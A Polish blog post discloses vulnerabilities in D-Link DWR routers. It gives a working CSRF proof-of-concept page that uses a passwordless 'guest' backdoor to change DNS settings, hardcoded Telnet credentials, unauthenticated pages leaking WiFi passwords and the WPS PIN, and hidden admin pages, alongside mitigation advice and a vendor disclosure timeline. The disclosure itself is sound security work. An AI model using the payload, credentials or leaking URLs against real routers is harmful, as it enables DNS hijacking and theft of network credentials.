Backdoor i parę “ciekawostek” w serii routerów D-Link DWR

Ostatnimi czasy D-Link nie ma dobrej passy. Po wpadce z ichniejszym flagowcem DIR-890L, oraz jeszcze większej wpadce (bardzo delikatnie mówiąc, dla leniuchów: poprawiano podatną funkcję, tą samą, podatną funkcją) z łataniem tego błędu (dla chętnych, tutaj jeszcze inny śmieszny błąd) , przyszedł czas na niezłą kombinację w sześciu siedmiu urządzeniach z serii DWR (113, 116, 118, 512 rev A, 512 rev B, 712 rev B, 921, DWR-927): tylną furtkę, CSRFy, ujawnianie haseł, wbudowany sniffer, zbieranie zapytań DNS oraz ukryte strony administracyjne pozwalające np. na pisanie do pamięci EEPROM urządzenia.
DWR_921

Jeden z antybohaterów dzisiejszego posta (DWR-921) 😉

Podatne urządzenia wraz z wersjami oprogramowania

Warto dodać, że urządzenia DWR-113, DWR-712, DWR-755, DWR-927 nie były dostępne w oficjalnej sprzedaży w Polsce.

Backdoor

First thing first. Każdy router, w teorii, posiada jedno konto administracyjne celem konfiguracji parametrów pracy urządzenia. Natomiast DWRy posiadają jeszcze jedno dodatkowe konto z takimi uprawnieniami o nazwie użytkownika “guest”.

Z tym kontem związane są dwa poważne problemy. Po pierwsze hasło podawane przez użytkownika zawsze jest porównywane z pustym buforem. Po drugie, programiści źle ustawili flagę uprawnień tego konta i otrzymuje ono pełne uprawnienia do modyfikacji konfiguracji sprzętu. Dodatkowo, konto gościa nie ma możliwości ustawienia hasła, gdyż funkcja pobierajaca je z pamięci, ma “wbity na sztywno” adres jego przechowywania (jedynym rozwiązaniem jest modyfikacja pamięci). Opis reverse engineeringu tylnej furtki zamieściłem w osobnym poście.

Oznacza to nic innego jak to, że każda osoba będąca w naszej sieci może, wprowadzając jedynie nazwę użytkownika guest, modyfikować konfigurację routera za pomocą webowego panelu administracyjnego.

Może się wydawać, że wystarczy nie wpuszczać niezaufanych osób do swojej sieci LAN/WLAN i nie wystawiać panelu administracyjnego do Internetu, a będzie można sytuację uznać za względnie bezpieczną, przejdźmy zatem do kolejnych podatności.

dwr_backdoor_6

Kod backdoora w daemonie httpd

Podatności CSRF

Wykorzystując opisaną w poprzednim punkcie tylną furtkę oraz brak ochrony panelu administacyjnego przed atakami Cross-site request forgery istnieje możliwość modyfikacji, praktycznie wszystkich, ustawień urządzenia (adresacja sieci, serwery DNS, zdalne zarządzanie itp.) poprzez skłonienie użytkownika do odwiedzenia złośliwej witryny. Jedynym warunkiem jaki musi zostać spełniony, jest korzystanie z domyślnie nadanej adresacji przez producenta.

Co to dla mnie oznacza? Otóż od około roku takie ataki są łakomym kąskiem dla złodziei i mogą mieć implikacje liczone w dziesiątkach tysięcy złotych.

Jako ciekawostkę dodam, że mechanizm sesji panelu administracyjnego jest oparty o adres IP, z którego zostało wysłane żądanie logowanie, a nie np. o ciasteczka.

Przykładowy kod wykorzystujący podatność (zmiana DNS):

<html>
	<head>
		<title>PoC - CSRF - D-Link DWR servies</title>
	</head>
	<body>
		<img src = "http://192.168.0.1/log/in?un=guest&pw=&rd=%2Fuir%2Fstatus.htm&rd2=%2Fuir%2Fwanst.htm&Nrd=1">
		<img src = "http://192.168.0.1/lanst.htm?I00010004=192.168.0.1&I00010005=255.255.255.0&_cce=0x8001000A&_ccb=0&Nrebo=0&S00030005=&N00030001=1&_sce=%25Nsc&I00030003=192.168.0.50&ip_pool_start=50&I00030004=192.168.0.99&ip_pool_end=99&N00030002=86400&I00030006=8.8.8.8&I00030007=&I00030008=&I00030009=&_cce=0x80030002&_sce=%25Ssc">
	</body>
</html>

Ujawnianie haseł do sieci WiFi oraz parametrów pracy

To już, na szczęście, ostatnie z trójcy dużych wpadek tych urządzeń. DWRy posiadają specjalną stronę sysinfo.htm (http://adres_ip_dwr/sysinfo.htm) zawierającą informacje związane z pracą systemu. Między danymi o modelu i wersji oprogramowania znajdziemy tam również informacje o SSIDach sieci bezprzewodowych urządzenia (na częstotliwościach 2.4 GHz oraz 5 GHz), hasłach do tych sieci oraz pinie WPS.

Dodatkowo mamy jeszcze plik stat.xml (http://adres_ip_dwr/stat.xml), który ujawnia parametry adresacji i sposobu połączenia z WAN. Wywołanie tego XMLa wraz z odpowiednimi parametrami pozwala na zwalnianie (stats.xml?N80035007=3) i odnawianie (stats.xml?N80035007=1) adresu z DHCP oraz wprowadzenie urządzenia w pętlę odnawiania i zwalniania adresu.

Pikanterii całej sprawie dodaje fakt, że strony te są dostępne bez uwierzytelnienia, zarówno od strony LAN, jak i WAN (w przypadku kiedy zdecydujemy się wystawić panel administracyjny do internetu).

Wbudowany sniffer oraz logowanie zapytań DNS

Urządzenia umożliwiają połączenie się przez Telnet (port 2300) za pomocą poświadczeń root:amittima (na szczęście tylko od strony LAN). W lokalizacji /usr/bin/etherdump rezyduje sniffer, który pozwala na zrzut ruchu sieciowego przechodzącego przez urządzenie. W duecie otrzymujemy również plik /ram/tmp/LogDnsQuery w którym znajdują się wszystkie zapytania DNS od czasu ostatniego restartu routera.

Ukryte strony administracyjne i pozostałości testowe

Panel administracyjny tego urządzenia cechuje pokaźna liczba stron, które w założeniu programistów nie powinny być dostępne dla zwykłego użytkownika lub są niechlujnie pozostałymi naleciałościami po pracach nad oprogramowaniem.

Niektóre z nich są bardzo interesujące – wspomniane na początku modyfikacja i odczyt zawartości pamięci routera lub SMSy testowe wysyłane przez deweloperów D-Linka do urządzenia 😉

Poniżej lista w/w stron i pozostałości:

Strona Adres Opis
_3gcon.htm http://adres_ip_dwr/_3gcon.htm Zaawansowane ustawienia połączeń 3G/LTE (wymaga uwierzytelnienia)
__advtest__.htm http://adres_ip_dwr/__advtest__.htm Zaawansowane ustawienia Wi-Fi (wymaga uwierzytelnienia)
aplist.xml http://adres_ip_dwr/aplist.xml Lista sieci WiFi w okolicy
dclist2.htm http://adres_ip_dwr/dclist2.htm Lista modemów 3G/LTE
dclist3.htm http://adres_ip_dwr/dclist2.htm j/w
eeprom.htm http://adres_ip_dwr/uir/eeprom.htm Podgląd i pisanie do pamięci EEPROM routera
func.js http://adres_ip_dwr/func.js Informacje o wersji firmware routera i jego ustawieniach (DMZ VPN itp.)
sms.xml http://adres_ip_dwr/sms.xml Status SMS na urządzeniu
sms2.htm http://adres_ip_dwr/sms2.htm Licznik otrzymanych SMS i ich status
sms_Test.htm http://adres_ip_dwr/sms_Test.htm SMSy testowe wysyłane przez programistów do testowego urządzenia – można wrzucić w Google Translate i poczytać o czym pisano
stat.xml http://adres_ip_dwr/stat.xml Status urządzenia (opisywana wcześniej)
stats.xml http://adres_ip_dwr/stats.xml j/w
sysinfo.htm http://adres_ip_dwr/sysinfo.htm Status urządzenia wraz z hasłami do sieci WiFi i pinem WPS
system.log http://adres_ip_dwr/system.log Log BusyBox'a (wymaga uwierzytelnienia)
test.htm http://adres_ip_dwr/test.htm Zmiana opóźnienia cache'u ARP
version.htm http://adres_ip_dwr/version.htm Informacje dt. kart sieciowych i firmware
wds.htm http://adres_ip_dwr/wds.htm Ustawienienia trybu pracy WDS
wlape.htm http://adres_ip_dwr/wlape.htm Ustawienia mocy anten i trybu pracy WiFi
wlape2.htm http://adres_ip_dwr/wlape2.htm j/w
wpa_am.htm http://adres_ip_dwr/wpa_am.htm Ustawienia WiFi
wps_cli.htm http://adres_ip_dwr/wps_cli.htm Ustawienia WPS + generacja nowego pinu

Jak żyć posiadając router z tej serii?

Parę rad dla użytkowników DWR-921:

  • Przede wszystkim zaktualizuj firmware, tutaj znajdziesz linka do poprawionego oprogramowania (D-Link nie udostępnił go na swoich stronachFirmware dostępny od 10.07.2015 na stronie niemieckiego oddziału D-Linka).
  • Na wypadek podatności kolejnych CSRF zmień podsieć z której korzystasz (domyślnie 192.168.0.0/24) na nietypową dla tego typu urządzeń, na przykład 192.168.134.0/24.
  • Jeżeli jeszcze nie ustawiłeś hasła administratora to zrób to jak najszybciej.
  • Wyłącz udostępnianie panelu administratora do Internetu, jeżeli to zrobiłeś.

Rady dla użytkowników reszty urządzeń:

  • Zmiana domyślnej podsieci, tak jak w przypadku DWR-921.
  • Wyłącz udostępnianie panelu administratora do Internetu, jeżeli to zrobiłeś.
  • Staraj się wpuszczać tylko zaufane osoby do sieci WiFi (jeżeli masz słabe hasło do WiFi / lub go wcale nie masz to zmień lub załóż).
  • Nie pokazuj tego posta domownikom, a zwłaszcza młodszemu rodzeństwu 😉
  • Jeżeli wyjdzie poprawka firmware, która rozwiązuje problem (z tym, jak na początku pisałem różnie bywa) zainstaluj ją najszybciej jak to możliwe.

Kalendarium komunikacji z D-Linkiem

  • 29.04.2015 – zgłoszenie i przekazanie szczegółów technicznych podatności do D-Link Polska.
  • 06.05.2015 – odpowiedź z wiadomością, że sprawa jest badana.
  • 13.05.2015 – prośba o przedstawienie stanu prac nad poprawkami, brak odpowiedzi ze strony D-Link Polska.
  • 27.05.2015 – przekazanie szczegółów technicznych podatności do D-Link International.
  • 10.06.2015 – przesłanie poprawionego firmware dla DWR-921.

9 thoughts on “Backdoor i parę “ciekawostek” w serii routerów D-Link DWR

  1. To dotyczy ruterów na sofcie Amita, więc nie ogranicza się do Dlinka. Na usera “guest” można też się zalogować w wielu ruterach bez osobnego pola “user:”. Warto też nadmienić, że jeśli ktoś ma w takim ruterze kartę sim na abonamet z możliwością wysyłania SMS premium to… lepiej niech ją wyjmie.

    1. Bardzo trafny komentarz. Czy również w innych routerach z softem Amita, user “guest” ma przydzielone takie same uprawnienia jak konto “admin”?

  2. Dzięki za artykuł – pomocne informacje
    Zainteresowałem się tym routerem (DWR-921) czy orientujecie się czy będzie on wspierany przez której alternatywne oprogramowanie (typu: DD-WRT, OpenWrt)?
    T-Mobile go teraz sprzedaje w wersji sprzętowej C – ma jakiś dziwny interface – nie przypominający D-Linkowego, że tak powiem.

Comments are closed.